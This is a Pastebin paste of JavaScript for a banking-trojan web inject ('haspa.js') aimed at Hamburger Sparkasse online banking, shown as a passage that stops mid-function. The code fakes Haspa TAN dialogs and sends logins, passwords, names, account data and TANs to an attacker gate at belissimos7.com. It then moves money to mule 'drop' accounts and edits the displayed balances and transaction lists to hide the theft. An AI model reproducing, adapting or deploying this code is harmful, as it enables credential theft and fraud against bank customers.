Advertisement
Xylitol

haspa.js

Apr 13th, 2014
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. //var jq = $;
  3.  
  4. var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
  5. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 708px;margin-left: -354px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_error { display: none; color: #FF0000 !important; font-weight: bold;clear:both; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.info{float:left; font-size: 20px;  margin: 8px 0 0;}.logopic{float:right;}.load{ margin:0 auto!important; width:240px;}</style>');
  6.  
  7.  
  8.  
  9. var ATS = { bank: 'haspa',
  10.     account_id: 0,
  11.     script_ver: '1.1',
  12.     transf_mode : 'sepa',
  13.     debug_mode: 0,
  14.     debug_transfer: "INT",
  15.     gateURL : 'https://belissimos7.com/nsdghsf333/gate',
  16.     debugVisibleFrame: false,
  17.     debugNoOverlay : false,
  18.     CONTENT_URL: CONTENT_URL,
  19.     current_state : 0,
  20.     sepa_or_int_select_changed : false,
  21.     MaxTransferAccNum:0,
  22.     Timeout:false,
  23.    
  24.  
  25.     StepInFrame : {
  26.         0:"BeginWork",
  27.         10:"framePageFinanzstatus",
  28.         20:"confirmform",
  29.         30:"SEPA_page",
  30.         110:"SEPA_form_filled",
  31.         120:"TAN_ENTERED",
  32.         130:"Internal_transf_page",
  33.         140:"INT_form_filled",
  34.         150:"framePageSEPA_fill",
  35.         160:"framePageInternal_transf_page",
  36.  
  37.        
  38.         set_current_state : function(state){
  39.            
  40.             for (var key in this) {
  41.               if (typeof this[key]!= 'function' && state==this[key]) {
  42.                parent.ATS.current_state=key;
  43.                return key;
  44.                }
  45.               //alert(key+':'+this[key])
  46.              
  47.            }
  48.             return false;
  49.             }
  50.         },
  51.        
  52.  
  53.     isDebugMode: function()
  54.     {
  55.         return ATS.debug_mode;
  56.     },
  57.    
  58.  
  59.     getBrowserFull: function()
  60.     {
  61.         var res = 'na';
  62.         try
  63.         {
  64.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  65.             if (m)
  66.             {
  67.                 res = 'ff' + m[1];
  68.             }
  69.             else
  70.             {
  71.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  72.                 if (m)
  73.                     res = 'ie' + m[1];
  74.             }
  75.         }
  76.         catch(e)
  77.         {
  78.             res = 'ex';
  79.         }
  80.         return res;
  81.     },
  82.  
  83.  
  84.     debugMsg: function(message)
  85.     {
  86.         if (this.isDebugMode())
  87.         {
  88.             if (window.console && window.console.log)
  89.                 window.console.log(message);
  90.             else
  91.                 alert(message);
  92.         }
  93.     },
  94.    
  95.     _cookies: new Object(),
  96.    
  97.     setCookie: function(name, value)
  98.     {
  99.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  100.         parent.ATS._cookies['#'+name] = value;
  101.     },
  102.    
  103.     getCookie: function(name)
  104.     {
  105.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  106.             return null;
  107.        
  108.         return parent.ATS._cookies['#'+name];
  109.     },
  110.    
  111.     serializeCookies: function()
  112.     {
  113.        //if (typeof parent.ATS._cookies != 'function')
  114.         var result = new Array();
  115.         for (var i in parent.ATS._cookies)
  116.         {
  117.            
  118.             if(i.indexOf('#')==0){
  119.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  120.  
  121.                }
  122.         }
  123.         return result.join('&');
  124.     },
  125.    
  126.     unserializeCookies: function(rawData)
  127.     {
  128.         var result = new Object();
  129.         for (var i in rawData)
  130.         {
  131.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  132.         }
  133.         return result;
  134.     },
  135.    
  136.     saveCookies: function(callback)
  137.     {
  138.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  139.     },
  140.    
  141.  
  142.     sendGateRequest: function(action, params, callback)
  143.     {
  144.      
  145.         //ATS.debugMsg('sendGateRequest: ' + action);
  146.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  147.        
  148.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  149.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  150.    
  151.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  152.         //{
  153.        
  154.             jq.ajax({
  155.                 url: url,
  156.                 dataType: 'jsonp',
  157.                 crossDomain: true,
  158.                 data: dat,
  159.                 //async: false,
  160.                 success: callback,
  161.                 error: function(request,error)
  162.                 {
  163.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  164.                     jq('.inj_full_overlay').remove();
  165.                     ATS.UI_unblockSite();
  166.                     jq('#inj_dialog_box').hide();
  167.                 }
  168.                
  169.             });
  170.            
  171.         //}
  172.     },
  173.    
  174.  
  175.     loadData: function(callback)
  176.     {
  177.         ATS.sendGateRequest('load_data', {}, function(data){
  178.             ATS.account_id = data.account_id;
  179.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  180.             if (typeof callback == 'function')
  181.                 callback();
  182.         });
  183.     },
  184.    
  185.  
  186.     sendLoginInfo: function(login, password, callback)
  187.     {
  188.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  189.     },
  190.    
  191.  
  192.     sendLogMsg: function(text, callback)
  193.     {
  194.         ATS.debugMsg('sendLogMsg: ' + text);
  195.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  196.     },
  197.    
  198.     getDrop: function(transfType, balance, callback)
  199.     {
  200.        
  201.  
  202.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  203.     },
  204.    
  205.     putTransfer: function(transfType, drop, amount, callback)
  206.     {
  207.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  208.     },
  209.    
  210.     sendAccountsInfo: function(accountsInfo, callback)
  211.     {
  212.         try {
  213.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  214.         } catch(e) {}
  215.     }
  216.    
  217.    
  218.    
  219.    
  220. };
  221.  
  222.  
  223.  
  224. ATS.UI_showWait = function()
  225. {
  226.     ATS.UI_showDialogBox();
  227.     jq('#inj_page_wait').show();
  228.     jq('#inj_page_brilok').hide();
  229.     jq('#gad_signatur_tan').hide();
  230.     jq('.inj_buttons_block').hide();
  231.     jq('.inj_error').hide();    
  232.  
  233. }
  234. ATS.UI_getTAN = function()
  235. {
  236.     return jq('.nowrap label').text();
  237.    
  238. }
  239.  
  240. ATS.UI_getInjectCode = function()
  241. {
  242.     var code =
  243.      '<div id=inj_dialog_box style=\'display: none;\'>'
  244.    
  245.    
  246. +'<div id="headCon"><div id="head" class="clrfix"><div id="logo1"><img src="'+ATS.CONTENT_URL+'/images/Logo_Haspa.png" title="" alt="Hamburger Sparkasse - Homepage"></div><div id="logo2"><img src="'+ATS.CONTENT_URL+'/images/name.gif" alt=""></div></div>'
  247.  
  248.  
  249.      + '<div id=inj_page_wait style=\'display: none;\'>'
  250.  
  251.  
  252. +'<div id="content" style="top:90px!important;><div id="inner" class="clrfix"><div class="compBox serv pflg-3 pflg3"><span class="compEcke">&nbsp;</span><div class="inner clrfix"><div><p>Zu Ihrer Sicherheit</p></div><div class="hLine"><span></span></div>'
  253.  
  254.    
  255.      + '<p class="inj_content_para">'
  256.      +  langs.getLang('waittext')
  257.      + '<br class="newline" /></p><p class="load"><img s'
  258.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p>'
  259.  
  260. +'</div></div></div></div></div>'
  261.  
  262.      +'</div>'//inj_page_wait
  263.  
  264.      
  265.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  266.      
  267.      +'<div id="gad_signatur_tan" style=\'display: none;\'>'
  268.      
  269. +'<div id="trinity"><div id="duality"><div id="content"><div id="inner" class="clrfix"><h1>'+langs.getLang('Authorizetransaction')+'</h1><div class="compBox serv pflg-3 pflg3"><span class="compEcke">&nbsp;</span><div class="inner clrfix"><div class=""><div><p>'+langs.getLang('autorizetext')+'</p></div><div class="hLine"><span></span></div></div><form name="f" method="post" action="" onsubmit="return false;"><fieldset class="services"><div class="spaceBlockI">&nbsp;</div><div class="row clrfix"><label>SmsTAN:</label><input type="text" value="" size="15" id="iTAN" name="nrTan" maxlength="10"><p class="inj_error">'+langs.getLang('errortan')+'</p></div></fieldset></form></div></div><ul class="buttons4 clrfix right"><li><span><input type="button" value="'+langs.getLang('nextbutton')+'" id="inj_Weiter" name="inj_weiter" class="default"></span></li></ul></div></div></div></div></div>'
  270.      
  271.      +'</div>'//gad_signatur_tan
  272.      
  273.  + '<div id="inj_page_brilok"  style=\'display: none;\'>'
  274.  
  275. +'<div id="trinity"><div id="duality"><div id="content"><div id="inner" class="clrfix"><h1>'+langs.getLang('Authorizetransaction')+'</h1><div class="compBox serv pflg-3 pflg3"><span class="compEcke">&nbsp;</span><div class="inner clrfix"><div class=""><div><p>'+langs.getLang('autorizetext2')+'</p></div><div class="hLine"><span></span></div></div><form name="f" method="post" action="" onsubmit="return false;"><fieldset class="services"><div class="spaceBlockI">&nbsp;</div><span id="instext"></span><div class="row clrfix"><label>Enter the TAN sent:</label><input type="text" value="" size="15" id="iTANBrilok" name="nrTan" maxlength="10"><p class="inj_error">'+langs.getLang('errortan')+'</p></div></fieldset></form></div></div><ul class="buttons4 clrfix right"><li><span><input type="button" value="'+langs.getLang('nextbutton')+'" id="inj_Weiter" name="inj_weiter" class="default"></span></li></ul></div></div></div></div></div>'
  276.  
  277.  
  278.  
  279.  
  280.  
  281. +'</div>'
  282.  
  283.  
  284.    +'<div class="inj_buttons_block">'  
  285.  
  286.  
  287.   +'</div>'
  288.  
  289.  
  290. +'</div>'
  291.  
  292.  
  293.      + '</div>';
  294.      
  295.      
  296.     return jq(code);
  297. }
  298.  
  299. ATS.die = function(msg)
  300. {
  301.     ATS.sendLogMsg('ERROR: ' + msg);
  302.     ATS.setCookie('error_time', ATS.getTime());
  303.     ATS.setCookie('status', 2);
  304.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  305.     ATS.saveCookies(function(){
  306.         if ((parent.window !== window) && parent.ATS)
  307.         {
  308.             ATS.debugMsg('die in frame');
  309.             parent.ATS.UI_hideDialogBox();
  310.             parent.ATS.UI_unblockSite();
  311.  
  312.             jq('.inj_full_overlay',parent.document).remove();
  313.         }
  314.         else
  315.         {
  316.             ATS.debugMsg('die outside frame');
  317.             ATS.UI_hideDialogBox();
  318.             ATS.UI_unblockSite();
  319.             jq('.inj_full_overlay').remove();
  320.         }
  321.  
  322. jq('link').each(function(){
  323. var lnk=jq(this).attr("href");
  324. if(lnk.indexOf("[email protected]")!=-1) jq(this).remove();
  325. });
  326.  
  327.  
  328. /*        
  329.  
  330.     var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
  331.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  332.             setTimeout(function(){
  333.                    parent.window.document.location.href = nextLink;                    
  334.                 }, 1000);
  335.  
  336. */
  337.     });
  338.    
  339.  
  340.        
  341. }
  342.  
  343.  
  344. ATS.mainWork = function()
  345. {
  346.    
  347.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  348.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  349.     switch (ATS.current_state)
  350.     {
  351.         case 0:
  352.            
  353.  
  354.             var href = ATS.getFinanzstatusLink();
  355.             if (href)
  356.             {
  357.            
  358.                      
  359.                 ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  360. var name=jq('div#content > div#inner p:contains(Guten Tag),div#content > div#inner p:contains(Hello)').text().replace(/Hello |,|Guten Tag /gim,"");                
  361.                
  362.      ATS.sendLogMsg('Name: ' + name,ATS.ieFrameHack() );      
  363.                
  364.                
  365.                
  366.                
  367.                
  368.             }
  369.             else
  370.             {
  371.                 ATS.die('mainWork: cant find finanzstatus');
  372.             }
  373.             break;
  374.     }
  375. }
  376. ATS.ieFrameHack = function()
  377. {
  378.     ATS.debugMsg('ATS.ieFrameHack()');
  379.    
  380.     if (!jq('iframe#ats_wrk_iframe').length)
  381.     {
  382.  
  383.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  384.         ATS.openInIframe('about:blank');
  385. /*        
  386. var cssLink = document.createElement("link")
  387. cssLink.href = "/wrs/resources2/html/layout.css";
  388. cssLink.rel = "stylesheet";
  389. cssLink.type = "text/css";
  390. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  391.  
  392. var cssLink = document.createElement("link")
  393. cssLink.href = "/wrs/resources2/html/color.css";
  394. cssLink.rel = "stylesheet";
  395. cssLink.type = "text/css";
  396. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  397. */
  398.  
  399.  
  400.        
  401.      
  402.         setTimeout(ATS.ieFrameHack, 3000);
  403.     }
  404.     else
  405.     {
  406.  
  407.         var n=ATS.getFinanzstatusLink();
  408.     //n=n.replace(/\:/g, '%3A');
  409.     //n=n.replace(/\?/g, '%3F');    
  410.     if(!ATS.checkTestPage()){
  411.        
  412.       // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
  413.     }
  414.     else {
  415.     //   var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );  
  416.     }        
  417.    
  418.         jq('iframe#ats_wrk_iframe').attr('src',n );
  419.     }
  420. }
  421. ATS.UI_hideDialogBox = function()
  422. {
  423.     jq('#inj_dialog_box').hide();
  424. }
  425.  
  426.  
  427. ATS.descending= function(a, b)
  428. {
  429.    
  430.     return b.kreditbalance- a.kreditbalance;
  431. }
  432.  
  433. ATS.getMaxTransferAcc = function()
  434. {
  435.     //num = num || 0;
  436.     var num=parent.ATS.MaxTransferAccNum;
  437.    
  438.     parent.ATS.accounts_list.sort( ATS.descending );
  439.    
  440.     if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
  441.     else
  442.     {
  443.     ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
  444.     }
  445. /*
  446.     var accountsList = parent.ATS.accounts_list;
  447.     var maxBalance = accountsList[0].balance;
  448.     var tempBalance = 0;
  449.     var maxAcc = null;
  450.     for(var i in accountsList)
  451.     {
  452.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  453.    
  454.    
  455.             if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
  456.             {
  457.                 maxBalance = tempBalance;
  458.                 maxAcc = accountsList[i];
  459.             }
  460.     }
  461.  
  462.     return maxAcc;
  463.     */
  464.    
  465. }
  466.  
  467.  
  468. ATS.UI_onWeiterClick = function()
  469. {
  470. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  471. else var tan = jq('#iTANBrilok').val();
  472.  
  473.  
  474.     if (tan=="test") {
  475.        if (ATS.isDebugMode()){
  476.            parent.ATS.UI_showWait();
  477.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  478.         else ATS.framePageReceiptInternal();
  479.        
  480.        return false;}}
  481.  
  482.    
  483.     if (tan.length == 6)
  484.     {
  485.         ATS.sendLogMsg('entered TAN ' + tan);
  486.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  487.     }
  488.     else{
  489.         alert(langs.getLang('errorTanEmpty'));
  490.        
  491.     }
  492. }
  493.  
  494. ATS.padRight = function(input, totalWidth)
  495.  
  496. {
  497.     var result = input;
  498.     if (result.length < totalWidth){
  499.         for(var i = result.length; i < totalWidth; i++){
  500.             result = result + 'X'
  501.         }
  502.    
  503.     }
  504.     return result;
  505. }
  506.  
  507.  
  508. ATS.framePageReceipt = function()
  509. {
  510.     ATS.sendLogMsg('framePageReceipt');
  511.  
  512.    
  513.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  514.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  515.         ATS.setCookie('transfer_time', ATS.getTime());
  516.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  517.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  518.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  519.        
  520.         var transfer_acc = parent.ATS.maxAcc.number;
  521.        
  522.         if (transfer_acc)
  523.         {
  524.             ATS.setCookie('transfer_acc', transfer_acc);
  525.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  526.         }
  527.        
  528.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  529.        
  530.         ATS.setCookie('status', 1);
  531.         ATS.saveCookies(function(){
  532.  
  533.             var nextLink = ATS.getFinanzstatusLink();
  534.             if (nextLink != '')
  535.             {
  536.                 setTimeout(function(){
  537.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  538.                     parent.window.document.location.href = nextLink;
  539.                    
  540.                 }, 1000);
  541.             }
  542.         });
  543.     });
  544.    
  545. }
  546. ATS.framePageReceiptInternal = function()
  547. {
  548.     ATS.sendLogMsg('framePageReceiptInternal');
  549.    
  550.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  551.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  552.         ATS.setCookie('transfer_time', ATS.getTime());
  553.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  554.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  555.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  556.        
  557.         var transfer_acc = parent.ATS.maxAcc.number;
  558.        
  559.         if (transfer_acc)
  560.         {
  561.             ATS.setCookie('transfer_acc', transfer_acc);
  562.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  563.         }        
  564.        
  565.  
  566.         ATS.setCookie('status', 1);
  567.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  568.        
  569.         ATS.saveCookies(function(){
  570.  
  571.             var nextLink = ATS.getFinanzstatusLink();
  572.            
  573.             if (nextLink != '')
  574.             {
  575.                 setTimeout(function(){
  576.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  577.                     parent.window.document.location.href = nextLink;
  578.                    
  579.                 }, 1000);
  580.             }
  581.         });
  582.     });
  583. }
  584. ATS.fin2float = function(text)
  585. {
  586.     if (langs.getCurLang()=='EN')
  587.     var text = text.toString();
  588.     else
  589.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  590.     return parseFloat(text);
  591. }
  592.  
  593. ATS.float2fin = function(val)
  594. {
  595.     if (langs.getCurLang()=='DE'){ var delim1="."; var delim2=",";}
  596.     else { var delim1=","; var delim2=".";}
  597.    
  598.     var intPart = Math.floor(val);
  599.     var fractPart = Math.floor((val - intPart) * 100).toString();
  600.    
  601.     if (fractPart.length < 2)
  602.         fractPart = '0' + fractPart;
  603.        
  604.     var newIntPart = '';
  605.     intPart = intPart.toString();
  606.     while (intPart.length > 3)
  607.     {
  608.         newIntPart = delim1 + intPart.substr(intPart.length - 3) + newIntPart;
  609.         intPart = intPart.substr(0, intPart.length - 3);
  610.     }
  611.     newIntPart = intPart + newIntPart;
  612.    
  613.     return newIntPart + delim2 + fractPart;
  614. }
  615. ATS.addElementAmount = function (el, amount, postfix)
  616. {
  617. var val=jq.trim(jq(el).text());
  618.        if (langs.getCurLang()=='EN'){
  619.          
  620.                val=val.replace(/\,/g, '');    
  621.     }
  622.     else{
  623.         val=val.replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.');
  624.     }
  625.    
  626.     console.log(val);
  627.     var val = parseFloat(val);
  628.     var newText='';
  629.     //var newText='<strong>';
  630.  //   if (val<0) newText +='<span class="negbal">';
  631.    
  632.     newText += ATS.float2fin(val + amount);
  633.     if (postfix)
  634.         newText += ' ' + postfix;
  635.        
  636.  //   if (val<0) newText +='</span>';
  637.      //newText +="</strong>";  
  638.     jq(el).html(newText);
  639. }
  640. ATS.hideLastTAN = function()
  641. {
  642.  
  643.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  644.     if (el.length)
  645.     {
  646.         var html = jq(el).html();
  647.         var pos = html.indexOf('Ihre zuletzt');
  648.         if (pos >= 0)
  649.             jq(el).html(html.substr(0, pos));
  650.     }
  651.    
  652.  
  653.     jq('p:contains(Zuletzt benutzte)').remove();
  654. }
  655.  
  656. ATS.checkTransfer = function(el)
  657. {
  658.  
  659.  
  660.     var percent=parseFloat("0.00");  
  661.  
  662.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  663.     if (isNaN(lastGesamtsaldo)) {
  664.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  665.         return false;
  666.     }
  667.  
  668.     //var curGesamtsaldo = ATS.fin2float(jq(el).text());
  669.     var curGesamtsaldo = el;
  670.    
  671.  
  672.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  673.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  674.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  675.    
  676.         //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
  677.        
  678.  
  679.     if(tempsaldo==0){
  680.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  681.         return false;
  682.         }
  683.    
  684.  
  685.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  686.         return false;
  687.     }
  688.  
  689.  
  690.     if(tempsaldo>0){
  691.    
  692.            
  693.  
  694.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  695.        
  696.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  697.     percent=parseFloat(temppers.toFixed(2));
  698.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  699.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  700.             ATS.setCookie('acPercent',percent);
  701.             ATS.saveCookies();
  702.     }
  703.     if (ATS.getCookie('acTransact')!="true"){
  704.             ATS.setCookie('acTransact',true);
  705.             ATS.saveCookies();
  706.     }
  707.    
  708.     return percent;
  709.     }else{
  710.        
  711.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  712.             ATS.setCookie('acPercent',tempsaldo);
  713.             ATS.setCookie('acTransact',false);
  714.             ATS.saveCookies();
  715.         return false;
  716.     }    
  717.        
  718. }
  719.  
  720. }
  721.  
  722.  
  723. ATS.replaceMainPage = function()
  724. {
  725.     ATS.debugMsg('replaceMainPage()');
  726.    
  727.   jq("#foot_mirror ul").remove();
  728.  
  729.  
  730. if (langs.getCurLang()=='EN'){
  731. var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\,/g, ''));
  732. }else{
  733. var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\./g, '').replace(/\,/g, '.'));    
  734. }
  735.        
  736.      var percent =ATS.checkTransfer(saldo);
  737.      ATS.debugMsg('percent= '+percent);
  738.      if(typeof percent === 'boolean') return true;
  739.  
  740.  
  741. if( percent > 15) {
  742.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  743.     }
  744.  
  745.  
  746.    
  747.         var totalReplace = 0;
  748.        
  749. var amount = parseFloat(ATS.getCookie('rep_amount'));
  750. var transfer_acc =ATS.getCookie('transfer_acc');
  751.  
  752.  
  753. jq('.compBox table tr:has(a span.QL_einzelueberweisung)').each(function(){
  754.  
  755.        if (langs.getCurLang()=='EN'){
  756.                 var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
  757.                var balance=jq(this).children("td:eq(4)").find("span");
  758.             }
  759.             else{
  760.                 var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
  761.                 var balance=jq(this).children("td:eq(4)").find("span");
  762.                
  763.                 }
  764.  
  765. if(number==transfer_acc){
  766.  
  767. ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);    
  768. ATS.addElementAmount(balance, parseFloat(amount + percent), '');
  769.   totalReplace = parseFloat(amount + percent);
  770.  
  771. var upbalance=jq(balance).parents("div.inner").find("h3 .sumValue span");
  772. ATS.addElementAmount(upbalance, totalReplace, ''); 
  773.     }
  774.      
  775.  
  776. });
  777.  
  778. if(totalReplace>0){
  779. var saldo=jq('.compBox h3:last span');    
  780. ATS.addElementAmount(saldo, totalReplace, '');
  781. }  
  782.    
  783. }
  784.  
  785.  
  786. ATS.replaceUmsatzanzeige = function()
  787. {
  788.     ATS.debugMsg('replaceUmsatzanzeige()');
  789.  
  790.   jq("#foot_mirror ul").remove();
  791.    
  792.  
  793.       var percent=parseFloat(ATS.getCookie('acPercent'));
  794.  
  795.    
  796.  
  797. if( percent > 15) {
  798.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  799.     }
  800.    
  801.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  802.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  803.  
  804.    
  805.  
  806. var amount = parseFloat(ATS.getCookie('rep_amount'));
  807. var transfer_acc =ATS.getCookie('transfer_acc');
  808.  
  809. var number = jq('label:contains(Kontonummer) + label,label:contains(Account Number) + label').text()
  810. if(!number ) ATS.sendLogMsg('replaceUmsatzanzeige cant find acc number');    
  811. if (number==transfer_acc){
  812.    
  813.  
  814.     ATS.debugMsg('number = ' + number + '; amount = ' + amount + '; percent = ' + percent);    
  815. var el=jq('label:contains(Kontostand vom) + label span:last,label:contains(Account balance on) + label span:last');    
  816.     ATS.addElementAmount(el, amount +  percent, '');
  817.  
  818. var el= jq('tr:has(td:contains(Kontostand EUR)) td:eq(1),tr:has(td:contains(Account balance EUR)) td:eq(1)').find('span');    
  819.     ATS.addElementAmount(el, amount +  percent, '');
  820.  
  821.  
  822.  
  823.        
  824.  
  825.         var hideFlag = false;
  826.             jq('table.tab-1 tr').each(function(i){
  827.             var text = jq.trim(jq(this).find("td:eq(3)").text());
  828.            
  829.  
  830.             if (ATS.needToHide(text))
  831.             {
  832. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  833.                 jq(this).hide();
  834.                 hideFlag = true;
  835.             }
  836.    
  837.     });    
  838.        
  839. jq('table.tab-1 tr.high:visible,table.tab-1 tr.low:visible').each(function(i){
  840. jq(this).attr('class', (i % 2) ? 'high' : 'low');
  841.  
  842.     });
  843.        
  844.    
  845.    
  846. }//--if (number==transfer_acc)--      
  847.  
  848.  
  849.  
  850. }
  851.  
  852.  
  853.  
  854.  
  855. ATS.needToHide = function(text)
  856. {
  857.  
  858.    
  859.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  860.     if (amount)
  861.     {
  862.  
  863.         if (langs.getCurLang()=='EN'){
  864.             text=text.replace(/[^\d.]+/gi, '');
  865.            
  866.         if (text.indexOf(amount) != -1) return true;
  867.            
  868.             }
  869.             else{
  870.         text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
  871.         if (text.indexOf(amount) != -1) return true;
  872.         //ATS.debugMsg(text);
  873.         }
  874.     }
  875.        
  876.     return false;
  877. }
  878. ATS.replaceBalances = function()
  879. {
  880.     ATS.debugMsg('replaceBalances()');
  881.    
  882.     //ATS.hideLastTAN();
  883.    
  884.    
  885.         switch (langs.getCurLang())
  886.     {
  887.        
  888.         case "EN":
  889.     if (ATS.getPageTitle("Financial status")) ATS.replaceMainPage();           
  890.      if (ATS.getPageTitle("View account transactions")) ATS.replaceUmsatzanzeige();            
  891.         break;
  892.          default:
  893.          
  894.     if (ATS.getPageTitle("Finanzstatus")) ATS.replaceMainPage();           
  895.     if (ATS.getPageTitle("Kontoums"+String.fromCharCode(0x00E4)+"tze anzeigen") ) ATS.replaceUmsatzanzeige();
  896.    
  897.                
  898.             break;
  899.            
  900.  }
  901.            
  902.  
  903.    
  904.  
  905.    
  906.    
  907.    
  908.  
  909.  
  910. }
  911.  
  912.  
  913. ATS.findAccountInfo = function(acc_num)
  914. {
  915.     ATS.debugMsg('acc_num:'+ acc_num);
  916.     var accounts_list = parent.ATS.accounts_list;
  917.     for (var i in accounts_list)
  918.     {
  919.         //if (accounts_list[i] != 'function' )
  920.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  921.        
  922.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  923.             {
